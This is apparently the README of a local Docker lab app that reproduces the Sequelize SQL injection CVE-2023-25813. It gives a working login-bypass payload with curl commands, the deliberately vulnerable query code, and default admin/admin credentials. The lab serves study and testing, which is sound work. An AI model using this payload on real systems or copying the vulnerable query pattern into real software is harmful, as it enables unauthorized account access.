
Implementazione della vulnerabilità Sequelize SQL Injection
App di esercitazione Express + MySQL per verificare localmente il comportamento della CVE-2023-25813 di Sequelize.
Questo progetto mantiene intenzionalmente una versione vulnerabile di Sequelize e un pattern di query di login vulnerabile. Non esporlo a Internet: eseguilo solo in un ambiente di laboratorio Docker locale.
localhost:3307localhost:3000Funzionalità principali:
Viene usato il file .env. Per un esempio, fare riferimento a .env.example.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Quando viene eseguito con Docker, il container dell'app non usa il MySQL locale ma il servizio db all'interno del Compose.
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307
Dopo aver avviato Docker Desktop, esegui in PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Apri nel browser.
http://localhost:3000
Verifica dello stato:
docker compose ps
docker compose logs app --tail 50
Arresto:
docker compose down
Per inizializzare anche i dati del DB:
docker compose down -v
Per connettersi direttamente al MySQL dentro Docker:
docker compose exec db mysql -uroot -p cve_test_db
La password è il valore DB_PASSWORD presente in .env.
Con strumenti GUI come Workbench, ci si connette con i seguenti valori.
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
Se il DB è stato creato, nei log dell'app compare un messaggio di questo tipo.
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
All'avvio, l'app crea automaticamente l'account admin usando i valori di .env.
Valori predefiniti:
아이디: admin
비밀번호: admin
Dopo il login, in alto nella pagina principale viene visualizzato l'account attualmente connesso.
현재 접속 계정: admin
Nel browser vai su /login e poi:
아이디: admin
비밀번호: admin
Se il login riesce, vieni reindirizzato a / e nella pagina principale vedi l'account attualmente connesso.
Per verificare con curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Criteri di successo:
HTTP/1.1 302 Found
Location: /
Nel browser vai su /login e inserisci i seguenti valori.
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Se il login riesce, vieni reindirizzato a / e non a /login?error=invalid. Anche l'account attualmente connesso nella pagina principale viene mostrato come utente autenticato.
Verifica con curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Criteri di successo:
HTTP/1.1 302 Found
Location: /
Il codice vulnerabile si trova nella rotta di login.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
In caso di login normale, la SQL assume all'incirca questa forma.
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
Il problema è l'uso combinato di literal('username = :username'), { password } e replacements nella stessa query. In Sequelize 6.19.0, replacements viene applicato all'intera query, quindi anche :username all'interno del valore password inserito dall'utente può essere sostituito.
Il payload di esercitazione si inserisce così.
username = /**/OR/**/1=1)/**/#
password = :username
In questo caso, la query effettiva nei log appare all'incirca in questa forma.
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Significato dei singoli pezzi:
password=:username: è il punto chiave che fa sì che la sostituzione di username avvenga anche nel campo password./**/: blocco trattato come commento in MySQL. Funziona come uno spazio, quindi i token SQL restano separati anche se gli spazi attorno a OR vengono rimossi.OR 1=1: aggiunge una condizione sempre vera.): chiude il gruppo di condizioni AND(...) creato da Sequelize.#: commento di una riga in MySQL. Commenta le virgolette rimanenti e i frammenti attorno a LIMIT 1, evitando errori di sintassi.Di conseguenza la condizione risulta sempre vera, viene selezionata la prima riga utente e l'app tratta il login come riuscito.
I payload che dipendono dagli spazi, come quello seguente, possono fallire se gli spazi iniziali/finali vengono rimossi durante l'inserimento nel browser.
OR 1=1) --
Il commento -- di MySQL richiede uno spazio dopo. Se lo spazio manca, non viene riconosciuto come commento e causa un errore di sintassi.
In questo progetto si consiglia il seguente payload.
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Quando esegui con Docker, il DB viene creato nel container db, non nel server MySQL locale. Per vederlo dal PC host, connettiti a localhost:3307.
È normale. Questa app mantiene una versione vulnerabile di Sequelize per l'esercitazione sulla CVE.
Eseguendo npm audit fix, la vulnerabilità oggetto dell'esercitazione potrebbe sparire.